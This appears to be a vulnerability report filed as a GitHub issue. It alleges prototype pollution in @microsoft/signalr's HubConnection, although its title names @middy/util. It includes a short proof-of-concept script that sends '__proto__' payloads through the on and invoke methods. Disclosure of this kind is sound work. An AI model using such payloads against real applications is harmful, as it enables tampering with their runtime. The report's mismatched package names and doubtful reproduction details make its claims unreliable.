Prototype Pollution Vulnerabilities in @middy/util

### Is there an existing issue for this?

- [x] I have searched the existing issues

### Describe the bug

The @microsoft/signalr package contains prototype pollution vulnerabilities in two key methods of the HubConnection class:
1. The on method (in package/package/dist/cjs/HubConnection.js:380) writes user-controlled methodName as a dynamic property key to this._methods. When methodName is set to __proto__, it triggers the prototype setter and pollutes the object's prototype chain.
2. The invoke method (in package/package/dist/cjs/HubConnection.js:340) passes user-controlled arguments to _replaceStreamingParams, which performs object merging. If the argument object contains a __proto__ key (e.g., {'__proto__':{'polluted':true}}), it pollutes the prototype of the internal streams object via object merging (e.g., Object.assign or spread syntax).
Both vulnerabilities are of DYNAMIC_PROP_WRITE type with medium confidence, and they lead to global prototype pollution of objects in the runtime environment.

### Expected Behavior

User-controlled input (e.g., methodName in on method, arguments in invoke method) should not be able to modify the __proto__ property of objects, and prototype chain pollution should not occur. The package should sanitize or validate user input to block attempts to access/modify prototype properties, ensuring that dynamic property writes do not affect the global object prototype.

### Steps To Reproduce

1. Create a new Node.js project (no .NET dependencies required for reproducing the JS-side vulnerability) with the following structure:
```plaintext
signalr-proto-pollution-repro/
├── package.json
└── index.js
```
2. package.json content:
```json
{
"name": "signalr-proto-pollution-repro",
"version": "1.0.0",
"dependencies": {
"@microsoft/signalr": "^latest"
}
}
```
3. index.js content (reproduces both vulnerabilities):
```javascript
const { HubConnection } = require('@microsoft/signalr');
const url = 'https://example.com/signalr'; // Dummy URL (no need for a running server to trigger the prototype pollution)
// Reproduce TP0004 (on method)
const conn1 = new HubConnection(url);
conn1.on('__proto__', () => {});
console.log('TP0004: Prototype polluted via on method:', Object.prototype.polluted || '__proto__ key added to prototype');
// Reproduce TP0005 (invoke method)
const conn2 = new HubConnection(url);
conn2.invoke('anyMethod', {'__proto__':{'polluted': true}});
console.log('TP0005: Prototype polluted via invoke method:', Object.prototype.polluted);
```
4. Steps to run:
Clone the public repo (e.g., git clone https://github.com/[your-username]/signalr-proto-pollution-repro.git)
Run npm install
Run node index.js
Observe that the prototype chain is polluted (the polluted property is added to Object.prototype).

### Exceptions (if any)

No explicit JavaScript exceptions are thrown when the prototype pollution occurs. The vulnerability manifests as unintended modification of the global object prototype, which may cause unexpected behavior in other parts of the application (e.g., broken object property access, unintended property inheritance) but does not trigger immediate error messages.

### .NET Version

7.0.401

### Anything else?

.NET SDK:
Version: 7.0.401
Commit: 9d6490899b

Runtime Environment:
OS Name: Windows
OS Version: 10.0.19045
OS Platform: Windows
RID: win10-x64
Base Path: C:\Program Files\dotnet\sdk\7.0.401\

Host:
Version: 7.0.11
Architecture: x64
Commit: ecb34f85ec